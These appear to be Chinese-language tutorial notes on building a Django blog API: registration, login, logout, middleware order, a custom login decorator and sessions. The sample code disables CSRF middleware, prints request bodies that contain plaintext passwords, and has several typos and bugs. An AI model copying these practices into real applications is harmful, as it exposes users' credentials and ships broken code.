from messages import Messages
# from django.core.handlers.wsgi import WSGIRequest

@require_POST
def reg(request:HttpRequest):
    pass

注册代码 v1

# user/views.py文件
from django.shortcuts import render, HttpResponse
from django.http import HttpRequest, HttpResponseBadRequest, JsonResponse
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST, require_GET, require_http_methods
import simplejson
from messages import Messages
# from django.core.handlers.wsgi import WSGIRequest

@require_POST
def reg(request:HttpRequest):
    # if request.method.lower() == 'post': pass
    print(request.path)
    print(request.GET)  # 查询字符串
    print(request.POST) # 表单提交
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password) #内部调用了user.save()
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

用户名检查

  • 使用User类的管理器对象objects,查询用户名,可以使用用户名字段唯一索引。如果用户名存在,返回错误信息。

用户信息存储

  • 使用管理器提供的create_user方法,内部会调用save方法。
  • Django默认在save()、delete()的时候事务自动提交。
  • 如果创建用户有异常,捕获异常做相应的处理;如果没有异常,则返回201,不要返回任何用户信息。

异常处理

  • 出现获取输入框提交信息异常,就返回错误信息
  • 查询用户名存在,返回错误信息
  • create_user()、save()方法保存数据,有异常,则返回错误信息
  • 注意一点,Django的异常类继承自HttpResponse类,所以不能raise,只能return
  • 前端通过错误号判断是否成功,code为0表示成功
  • 由于采用Restful实践,所有异常全部返回JSON的错误信息,所以一律使用了JsonResponse

Django日志

Django的日志配置在settings.py中

参考文档: https://docs.djangoproject.com/en/5.2/topics/logging/#configuring-logging

LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'handlers': {
        'console': {
            'class': 'logging.StreamHandler',
        },
    },
    'loggers': {
        'django.db.backends': {
            'handlers': ['console'],
            'level': "DEBUG",
        },
    },
}

配置后,就可以在控制台看到执行的SQL语句。

注意,settings.py中必须DEBUG=True,同时loggers的level是DEBUG,否则从控制台看不到SQL语句。

登录接口设计和实现

  • 提供用户注册处理
  • 提供用户登录处理
  • 提供路由配置

用户登录接口设计

POST /users/login 用户登录

请求体 application/json
{
    "password":"string",
    "username":"string"
}

响应
200 登录成功
200 登录失败,返回错误号和错误信息描述

接收用户通过POST方法提交的登录信息,提交的数据是JSON格式数据

{
    "password":"abc",
    "username":"abc"
}
  • 从auth_user表中username找出匹配的一条记录,验证密码是否正确
  • 验证通过说明是合法用户登录,显示欢迎页面。
  • 验证失败返回错误号和描述。
  • 整个过程都采用AJAX异步过程,用户提交JSON数据,服务端获取数据后处理,返回JSON。

路由配置

# 修改user/urls.py文件
from django.conf.urls import path, include
from .views import reg, userlogin

# 要去掉前缀/users
urlpatterns = [
    path('',reg), #/users/
    path('login',userlogin), #/users/login
]

Django的认证

https://docs.djangoproject.com/en/5.2/topics/auth/default/

django.contrilb。auth中提供了许多方法.

1、authenticate(**credentials)

提供了用户认证,即验证用户名以及密码是否正确,检查is_active字段是否为1即激活的用户。

user = authentica(username='someone',password='somepassword')

2、login(HttpRequest,user,backend=None)

该函数接受一个HttpRequest对象,以及一个认证了的User对象。

不认证密码,只把user注入request,注入request.session[SESSION_KEY]等

返回set-cookie,避免下次请求后重新认证。

user = authenticate(request, username=username, password=password)
if user is not None:
    login(request, user)

3、logout(request)

  • 该函数接受一个HttpRequest对象,无返回值。
  • 当调用该函数时,当前请求的session信息会全部清除
  • 该用户即使没有登录,使用该函数也不会报错

4、@login_required装饰器

装饰器视图函数判断是否登录,如果未登录在服务器端跳转到登录页,可指定登录页path

# @login_requried装饰view函数,要求在view函数前先检查是否登录
from django.contrib.auth.decorators import login_required

@login_required(login_url="/accounts/login/")
# my_view = login_requried(login_url='/accounts/login/')(my_view)
def my_view(request):
    pass

@login_required
# my_view = login_requried(my_view)
def my_view(request): ...
    pass

也有一个LoginRequiredMixin类和login_requried类似作用。

登录代码

from django.contrib.auth import authenticate
from messages import Messages

@require_POST
def login(request:HttpRequest):
    try:
        payload = simplejson.loads(request.body)
        username=payload['username']
        password = payload['password']
        user = authenticate(username=username, password=password)
        if user:#用户名密码正确
            print(type(user), user) # User
            print(type(request.user),request.user) # AnonymousUser
        else:
            return JsonResponse (Messages.INVALID_USERNAME_OFR_PASSWORD)
    except Exception as e:
        print(e)
        return JsonResponse(Messages.INVALID_USERNAME_OFR_PASSWORD)

以后的业务方法中,有些业务方法要求用户登录后才可以访问,如何做到:

  1. @login_required装饰器
  2. 中间件技术
  3. 自定义装饰器

@login_required装饰器,但是它会在服务器端重定向。我们这次是前后端分离,需要后端返回状态值,是由前端路由实现跳转。所以此装饰器不适合。

范例

#user/urls.py
from django.urls import path
from .views import reg, user_login

urlpatterns = [
    path('', reg), # reg POST /users/
    path('login', user_login), # Post /users/login
]
#user/views.py
from django.shortcuts import render, HttpResponse
from django.http import HttpRequest, HttpResponseBadRequest, JsonResponse
from django.contrib.auth.models import User
from django.contrib.auth import authenticate, login, logout
from django.views.decorators.http import require_POST, require_GET, require_http_methods
import simplejson
from messages import Messages
# from django.core.handlers.wsgi import WSGIRequest

@require_POST
def reg(request:HttpRequest):
    print(request.path)
    print(request.GET)  # 查询字符串
    print(request.POST) # 表单提交
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password)
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

@require_POST
def user_login(request:HttpRequest):
    # 进入到视图函数中,request中应该有2个动态增加的属性,session、user, 和中间件有关
    print(request.path)
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    print()
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload) #dict
        username = payload['username'] # 登录  该如何处理?
        password = payload['password']
        # 认证函数,解决用户名和密码匹配问题,匹配成功和数据库记录一一对应
        # 真实存在的用户,is_authenticated永远为true
        user = authenticate(username=username, password=password)
        print(type(user), user)
        print(type(request.user), request.user)  #目前是匿名的。匿名用户也是用户,但is_authenticated永远为false
        print(request.session)
        print('='*30)
        if user:
            # cookie和session,首先你必须对认证成功者发一个身份id,response中增加set-cookie
            # 至少应该有sessionID,sessionID必须保存在服务器端
            login(request, user) # 各种后台jsp, php都习惯通过request.session取session值;user绑定到request上
            print(type(user), user)
            print(type(request.user), request.user)
            print('=*'*30)
            response = HttpResponse(status=204)
            # response.set_cookie('xxx')

            return HttpResponse(status=204) # 用户验证成功,之后怎么处理?
        else:
            return JsonResponse(Messages.INVALID_USERNAME_OR_PASSWORD, status=200)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

中间件技术Middleware

官方定义,在Django的request和response处理过程中,由框架提供的hook钩子

中间技术在1.10后发生了改变,可以使用新的方式定义。

参考: https://docs.djangoproject.com/en/5.2/topics/http/middleware/#writing-your-own-middleware

原理

# 测试代码添加在user/views.py

class SimpleMiddleware1:
    def __init__(self,get_response):
        self.get_response = get_response
        # One-time configuration and initialization.

    def __call__(self,request):
        # Conde to be executed for each request before
        # the view (and later middleware) are called.
        print(1,'- '*30)
        print(isinstance(request,HttpRequest))
        print(request.GET)
        print(request.POST)
        print(request.body)

        # 之前相当于老板本的process_request
        #return HttpResponse(b'',status = 404)

        response = self.get_response(request)

        #Code to be executed for each request/response after
        #the view is called.
        print(101,'- '* 30)
        return  response

    def process_view(self,request,view_func,view_args,view_kwargs):
        print(2,"-" * 30)
        print(view_func.__name__,view_args,view_kwargs)
        # 观察view_func名字,说明在process_request之后,process_view之前已经做好了路径映射
        return  None # 继续执行其他的process_view或view
        # return HttpResponse("111",status=201)
  • 修改=blog/settings.py=文件,添加消息中间件
# 修改blog/settings.py文件,添加消息中间件

MIDDLEWARE = [
    ...,
    'user.views.SimpleMiddleware1', #增加该中间件
]

运行上面的代码,可以后到,先执行了get_response之前的代码,然后调用了get_response,再调用view,之后执行了get_response之后的代码。

示例:全局做中间件,所有请求后过中间件,不推荐

#settings.py
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    # 'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
    'user.views.SimpleMiddleware1', # 全局过滤
]
#user/urls.py
from django.urls import path
from .views import reg, user_login, user_logout

urlpatterns = [
    path('', reg),
    path('login', user_login),
    path('logout', user_logout),
]
#user/views.py
from django.shortcuts import render
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.contrib.auth.models import User
from django.contrib.auth import authenticate, login, logout
from django.views.decorators.http import require_GET, require_POST, require_http_methods
from django.contrib.auth.decorators import login_required
import simplejson
from messages import Messages

@require_POST
def reg(request:HttpRequest):
    print(request.path)
    print(request.GET)  # 查询字符串
    print(request.POST) # 表单提交
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password)
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

@require_POST
def user_login(request:HttpRequest):
    # 进入到视图函数中,request中应该有2个动态增加的属性,session、user, 和中间件有关
    print(request.path)
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    print()
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload) #dict
        username = payload['username'] # 登录  该如何处理?
        password = payload['password']
        # 认证函数,解决用户名和密码匹配问题,匹配成功和数据库记录一一对应
        # 真实存在的用户,is_authenticated永远为true
        user = authenticate(username=username, password=password)
        print(type(user), user)
        print(type(request.user), request.user)  #目前是匿名的。匿名用户也是用户,但is_authenticated永远为false
        print(request.session)
        print('='*30)
        if user:
            # cookie和session,首先你必须对认证成功者发一个身份id,response中增加set-cookie
            # 至少应该有sessionID,sessionID必须保存在服务器端
            login(request, user) # 各种后台jsp, php都习惯通过request.session取session值;user绑定到request上
            print(type(user), user)
            print(type(request.user), request.user)
            print('=*'*30)
            response = HttpResponse(status=204)
            # response.set_cookie('xxx')
            return HttpResponse(status=204) # 用户验证成功,之后怎么处理?
        else:
            return JsonResponse(Messages.INVALID_USERNAME_OR_PASSWORD, status=200)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

# @login_required  # 等价于 user_logout = login_required(user_logout)
# @login_required(login_url='users/login') # 等价于 user_logout = login_required(login_url='users/login')(user_logout)
def user_logout(request:HttpRequest):
    print('^^^^ view function user_logout')
    print(request.user)
    print(request.user.__dict__)
    if request.user.is_authenticated:
        s = 200
    else:
        s = 400
    return JsonResponse({}, status=s)

class SimpleMiddleware1:
    def __init__(self, get_response):
        self.get_response = get_response
        # One-time configuration and initialization.

    def __call__(self, request):
        # Code to be executed for each request before
        # the view (and later middleware) are called.
        # 每一个中间件返回response之前调用,做request处理
        print('=-'*30)
        print('SimpleMiddleware1 before response')
        print(request.session.items())
        print(request.user) # 你在认证中间件之后 
        if request.user.is_authenticated:
            response = self.get_response(request) # 调用下一个

            # Code to be executed for each request/response after
            # the view is called.
            # 可能对request和response做处理
            print('SimpleMiddleware1 after response')
            print(response)
            print('=~'*30)

            return response
        else:
            return HttpResponse('提前结束了', status=401)

示例2: 了解执行顺序, 洋葱式,依次执行

  • M1 process_request
  • M2 process_request
  • M1 process_views
  • M2 process_views
  • view function 视图函数
  • M2 process_response
  • M1 process_response
# user/vews.py
from django.shortcuts import render
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.contrib.auth.models import User
from django.contrib.auth import authenticate, login, logout
from django.views.decorators.http import require_GET, require_POST, require_http_methods
from django.contrib.auth.decorators import login_required
import simplejson
from messages import Messages

@require_POST
def reg(request:HttpRequest):
    print(request.path)
    print(request.GET)  # 查询字符串
    print(request.POST) # 表单提交
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password)
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

@require_POST
def user_login(request:HttpRequest):
    # 进入到视图函数中,request中应该有2个动态增加的属性,session、user, 和中间件有关
    print(request.path)
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    print()
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload) #dict
        username = payload['username'] # 登录  该如何处理?
        password = payload['password']
        # 认证函数,解决用户名和密码匹配问题,匹配成功和数据库记录一一对应
        # 真实存在的用户,is_authenticated永远为true
        user = authenticate(username=username, password=password)
        print(type(user), user)
        print(type(request.user), request.user)  #目前是匿名的。匿名用户也是用户,但is_authenticated永远为false
        print(request.session)
        print('='*30)
        if user:
            # cookie和session,首先你必须对认证成功者发一个身份id,response中增加set-cookie
            # 至少应该有sessionID,sessionID必须保存在服务器端
            login(request, user) # 各种后台jsp, php都习惯通过request.session取session值;user绑定到request上
            print(type(user), user)
            print(type(request.user), request.user)
            print('=*'*30)
            response = HttpResponse(status=204)
            # response.set_cookie('xxx')
            return HttpResponse(status=204) # 用户验证成功,之后怎么处理?
        else:
            return JsonResponse(Messages.INVALID_USERNAME_OR_PASSWORD, status=200)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

# @login_required  # 等价于 user_logout = login_required(user_logout)
# @login_required(login_url='users/login') # 等价于 user_logout = login_required(login_url='users/login')(user_logout)
def user_logout(request:HttpRequest):
    print('^^^^ view function user_logout')
    print(request.user)
    print(request.user.__dict__)
    if request.user.is_authenticated:
        s = 200
    else:
        s = 400
    print('^'*30)
    return JsonResponse({}, status=s)

class SimpleMiddleware1:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        # 每一个中间件返回response之前调用,做request处理
        print('=-'*30)
        print('SimpleMiddleware1 before response; process_request')
        print(request.session.items())
        print(request.user) # 你在认证中间件之后 

        response = self.get_response(request) # 调用下一个

        # 可能对request和response做处理
        print('SimpleMiddleware1 after response; process_response')
        print(response)
        print('=~'*30)
        return response

    def process_view(self, request, view_func, view_args, view_kwargs):
        print('SimpleMiddleware1 process_view start ++++') # 视图函数执行之前
        print(view_func)
        print('SimpleMiddleware1 process_view end ++++')
        # return None # 如果返回None,不影响流程,继续向后调用
        # return HttpResponse('M1故意的', status=404) # 不会向后调用,从此处返回

class SimpleMiddleware2:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        # 每一个中间件返回response之前调用,做request处理
        print('=-'*30)
        print('SimpleMiddleware2 before response; process_request')
        print(request.session.items())
        print(request.user) # 你在认证中间件之后 

        response = self.get_response(request) # 调用下一个

        # 可能对request和response做处理
        print('SimpleMiddleware2 after response; process_response')
        print(response)
        print('=~'*30)
        return response

    def process_view(self, request, view_func, view_args, view_kwargs):
        print('SimpleMiddleware2 process_view start ++++') # 视图函数执行之前
        print(view_func)
        print('SimpleMiddleware2 process_view end ++++')
        # return None # 如果返回None,不影响流程,继续向后调用
        # return HttpResponse('M2故意的', status=404) # 不会向后调用,从此处返回
#settings.py, 增加中间件
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    # 'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
    'user.views.SimpleMiddleware1', # 全局过滤
    'user.views.SimpleMiddleware2', # 全局过滤
]

测试

curl --location '127.0.0.1:8000/users/logout' \
--header 'Content-Type: application/json' \
--data-raw '{
    "password":"adminadmin",
    "username":"admin",
    "email":"[email protected]"
}
'

代码输出

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
SimpleMiddleware1 before response; process_request
dict_items([])
AnonymousUser
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
SimpleMiddleware2 before response; process_request
dict_items([])
AnonymousUser
SimpleMiddleware1 process_view start ++++
<function user_logout at 0x0000018FA170A3E0>
SimpleMiddleware1 process_view end ++++
SimpleMiddleware2 process_view start ++++
<function user_logout at 0x0000018FA170A3E0>
SimpleMiddleware2 process_view end ++++
^^^^ view function user_logout
AnonymousUser
{'_setupfunc': <function AuthenticationMiddleware.process_request.<locals>.<lambda> at 0x0000018FA188A8E0>, '_wrapped': <django.contrib.auth.models.AnonymousUser object at 0x0000018FA1984830>}
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SimpleMiddleware2 after response; process_response
<JsonResponse status_code=400, "application/json">
=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~
SimpleMiddleware1 after response; process_response
<JsonResponse status_code=400, "application/json">
=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~
Bad Request: /users/logout
[26/Jul/2025 18:09:59] "POST /users/logout HTTP/1.1" 400 2

流程图

img_20250726_175923.png

结论

  1. Django中间件使用的洋葱式,但有特殊的地方
  2. 新版本中间件现在=__call__=中get_response(request)之前代码(相当于老版本中的process_request)
  3. settings中的顺序先后执行所有中间件的get_response(request)之前代码
  4. 全部执行完解析路径映射得到view_func
  5. settings中顺序先后执行process_view部分
    • return None 继续向后执行
    • return HttpResponse() 就不在执行其他函数的preview函数了,此函数返回值作为浏览器端的响应
  6. 执行view函数,前提是签名的所有中间件process_view都返回None
  7. 逆序执行所有中间件的get_response(request)之后代码
  8. 特别注意,如果get_response(request)之前代码中return HttpResponse(),将从当前中间件立即返回给浏览器端,从洋葱中依次反弹

自定义中间件用户验证

范例:实现认证,上例内容

#user/views.py
...., 
class SimpleMiddleware1:
    def __init__(self, get_response):
        self.get_response = get_response
        # One-time configuration and initialization.

    def __call__(self, request):
        # Code to be executed for each request before
        # the view (and later middleware) are called.
        # 每一个中间件返回response之前调用,做request处理
        print('=-'*30)
        print('SimpleMiddleware1 before response')
        print(request.session.items())
        print(request.user) # 你在认证中间件之后 
        if request.user.is_authenticated:
            response = self.get_response(request) # 调用下一个

            # Code to be executed for each request/response after
            # the view is called.
            # 可能对request和response做处理
            print('SimpleMiddleware1 after response')
            print(response)
            print('=~'*30)

            return response
        else:
            return HttpResponse('提前结束了', status=401)

# 修改blog/settings.py文件,添加消息中间件

MIDDLEWARE = [
    ...,
    'user.views.SimpleMiddleware1', #增加该中间件
]
  1. 中间件拦截所有视图函数,但是只有一部分请求需要提供认证,所以考虑其他方法。
  2. 如果绝大多数都需要拦截,个别例外,采用中间件比较合适。
  3. 中间件有很多用户,适合拦截所有请求和响应。例如浏览器端的IP是否禁用、UserAgent分析、异常响应的统一处理。

装饰器

django.contrib.auth.decorators.login_required 它会在服务器端跳转,不适合前后端分离。所以参照它,自己实现装饰器。

from django.shortcuts import render
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.contrib.auth.models import User
from django.contrib.auth import authenticate, login, logout
from django.views.decorators.http import require_GET, require_POST, require_http_methods
# from django.contrib.auth.decorators import login_required  #写的非常好
from functools import wraps
from django.contrib.sessions.backends.db import SessionStore
import simplejson
from messages import Messages

@require_POST
def reg(request:HttpRequest):
    print(request.path)
    print(request.GET)  # 查询字符串
    print(request.POST) # 表单提交
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password)
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

@require_POST
def user_login(request:HttpRequest):
    # 进入到视图函数中,request中应该有2个动态增加的属性,session、user, 和中间件有关
    print(request.path)
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    print()
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload) #dict
        username = payload['username'] # 登录  该如何处理?
        password = payload['password']
        # 认证函数,解决用户名和密码匹配问题,匹配成功和数据库记录一一对应
        # 真实存在的用户,is_authenticated永远为true
        user = authenticate(username=username, password=password)
        print(user.is_authenticated, '--------')
        print('='*30)
        if user and user.is_active: #用户密码正确
            print(type(user), user, user.is_authenticated)
            print(type(request.user), request.user, request.user.is_authenticated)
            login(request, user) # 各种后台jsp, php都习惯通过request.session取session值;user绑定到request上
            print(type(user), user, user.is_authenticated)
            print(type(request.user), request.user, request.user.is_authenticated)
            print('=*'*30)
            # 如果有必要,可以使用session保存一些信息
            session:SessionStore = request.session
            # session.set_expiry(60*60*24) # 设置过期时间,单位秒
            session['user_info'] = {
                'id': request.user.id,
                'username':request.user.username
            }
            # response.set_cookie('xxx')
            return JsonResponse({}) # 使用了login函数,返回时就带着set-cookie,设置sessionid
        else:
            return JsonResponse(Messages.INVALID_USERNAME_OR_PASSWORD, status=200)
    except Exception as e:
        print(e)
        return JsonResponse(Messages.BAD_REQUEST, status=200)

def login_required(viewfunc):
    @wraps(viewfunc)
    def wrapper(request, *args, **kwars):
        if request.user.is_authenticated:
            return viewfunc(request, *args, **kwars)
        return HttpResponse(status=401)
    return wrapper

@login_required
# @login_required  # 等价于 user_logout = login_required(user_logout)
# @login_required(login_url='users/login') # 等价于 user_logout = login_required(login_url='users/login')(user_logout)
def user_logout(request:HttpRequest):
    print('^^^^ view function user_logout')
    print(request.user)
    print(request.user.__dict__)
    print(type(request.session))
    print(*request.session.items(), sep='\n')
    if request.user.is_authenticated:
        s = 200
    else:
        s = 400
    print('^'*30)
    return HttpResponse('看到了', status=s)

测试

# 先登录获取 session cookie
curl --location '127.0.0.1:8000/users/login' \
--header 'Content-Type: application/json' \
--header 'Cookie: sessionid=3lr4u1obzuri6r4xf8i1jlz1jiguvqcy' \
--data-raw '{
    "username":"abc",
    "password":"abc",
    "email":"[email protected]"
}
'
#查看代码输出

#再登录
curl --location '127.0.0.1:8000/users/logout' \
--header 'Content-Type: application/json' \
--header 'Cookie: sessionid=3lr4u1obzuri6r4xf8i1jlz1jiguvqcy' \
--data-raw '{
    "username":"abc",
    "password":"abc",
    "email":"[email protected]"
}
'
#查看代码输出

登出代码

#user/urls.py
from django.urls import path
from .views import reg, user_login, user_logout

urlpatterns = [
    path('', reg), # reg POST /users/
    path('login', user_login), # Post /users/login
    pasth('logout', user_logout), # Post /users/logout
]
from django.contrib.auth import authenticate, login, logout

@login_required
# @login_required  # 等价于 user_logout = login_required(user_logout)
# @login_required(login_url='users/login') # 等价于 user_logout = login_required(login_url='users/login')(user_logout)
def user_logout(request:HttpRequest):
    print('^^^^ view function user_logout')
    print(type(request.session))
    print(*request.session.items(), sep='\n')

    logout(request) # request.session, request.user 清空当前用户登录状态,包括session和数据库django_session记录
    print('^'*30)
    return HttpResponse('登出成功', status=200)

完整user/views.py代码

from django.shortcuts import render
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.contrib.auth.models import User
from django.contrib.auth import authenticate, login, logout
from django.views.decorators.http import require_GET, require_POST, require_http_methods
# from django.contrib.auth.decorators import login_required  #写的非常好
from functools import wraps
from django.contrib.sessions.backends.db import SessionStore
import simplejson
from messages import Messages

@require_POST
def reg(request:HttpRequest):
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password)
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

@require_POST
def user_login(request:HttpRequest):
    try:
        payload = simplejson.loads(request.body)
        username = payload['username'] # 登录  该如何处理?
        password = payload['password']
        user = authenticate(username=username, password=password)
        print('='*30)
        if user and user.is_active: #用户密码正确
            login(request, user) # 各种后台jsp, php都习惯通过request.session取session值;user绑定到request上
            print('=*'*30)
            # 如果有必要,可以使用session保存一些信息
            session:SessionStore = request.session
            # session.set_expiry(60*60*24) # 设置过期时间,单位秒
            session['user_info'] = {
                'id': request.user.id,
                'username':request.user.username
            }
            return JsonResponse({}) # 使用了login函数,返回时就带着set-cookie,设置sessionid
        else:
            return JsonResponse(Messages.INVALID_USERNAME_OR_PASSWORD, status=200)
    except Exception as e:
        print(e)
        return JsonResponse(Messages.BAD_REQUEST, status=200)

def login_required(viewfunc):
    @wraps(viewfunc)
    def wrapper(request, *args, **kwars):
        if request.user.is_authenticated:
            return viewfunc(request, *args, **kwars)
        return HttpResponse(status=401)
    return wrapper

@login_required
# @login_required  # 等价于 user_logout = login_required(user_logout)
# @login_required(login_url='users/login') # 等价于 user_logout = login_required(login_url='users/login')(user_logout)
def user_logout(request:HttpRequest):
    logout(request) # request.session, request.user 清空当前用户登录状态,包括session和数据库django_session记录
    return HttpResponse('登出成功', status=200)

Session使用

Session-Cookie机制

网景公司发明了Cookie技术,为了解决浏览器端数据存储问题。

  • 每一次request请求时,会把此域名相关的Cookie发往服务器端。服务器端也可以使用response中的set-cookie来设置cookie值。

动态网页技术,也需要知道用户身份,但是HTTP是无状态协议,无法知道。必须提出一种技术,让客户端提交的信息可以表明身份,而且不能更改。这就是Session技术。

Session开启后,会为浏览器端设置一个Coolie值,即SessionID.

这个放置SessionID的Cookie是会话级的,浏览器不做持久化存储只放在内存中,并且浏览器关闭自动清除。

浏览器端发起一个HTTP请求后,这个SessionID会通过Cookie发到服务器端,服务端就可以通过这个ID查到对应的一个字典结构。如果查无此ID,就为此浏览器重新生成一个SessionID,为它建立一个SessionID和空字典的映射关系。

可以在这个ID对应的Session字典中,存入键值对来保持与当前会话相关的信息。

  1. Session会定期过期清除
  2. Session占用服务端内存
  3. Session如果没有持久化,如果服务程序崩溃,那么所有Session信息丢失
  4. Session可以持久化到数据库中,如果服务程序崩溃,那么可以从数据库中恢复

开启session支持

Django可以使用Session

  1. 在settings中,MIDDLEWARE设置中,启用'django.contrib.sessions.middleware.SessionMiddleware'。
  2. 在INSTALLED_APPS设置中,启用'django.contrib.sessions'。它是基于数据库存储的Session。
  3. Session不使用,可以关闭上述配置,以减少开销
  4. 在数据库的表中的django_session表,记录session信息。但可以使用文件系统或其他cache来存储

session清除

登录成功,为当前session在django_session表中增加一条记录,如果没有显式调用logout函数或request.session.flush(),那么该记录不会消失。Django也没有自动清除失效记录的功能。

request.session.flush()会清除当前session,同时删除表记录。

但Django提供了一个命令clearsessions,建议放在cron中定期执行厅。

django-admin.py clearsessions
manage.py clearsessions

博文接口实现

功能分析

POST /posts/ 文章发布,试图类PostView

请求体 application/json
{
    "title":"string",
    "content":"string"
}

响应
201 发布成功
400 请求数据错误
GET /posts/(\d+) 查看指定文章,试图函数getpost

响应
200 成功返回文章内容
404 文章不存在
GET /posts/ 文章列表页,视图类PostView

响应
200 成功返回文章列表

创建博文应用

python manage.py startapp post

注意: 一定要把应用post加入到settings.py中 ,否则不能迁移

# blog/settings.py中修改
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'user',
    "post",
]

路由

1.修改blog/urls.py文件

# 修改blog/urls.py文件
"""
URL configuration for blog project.

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/5.2/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
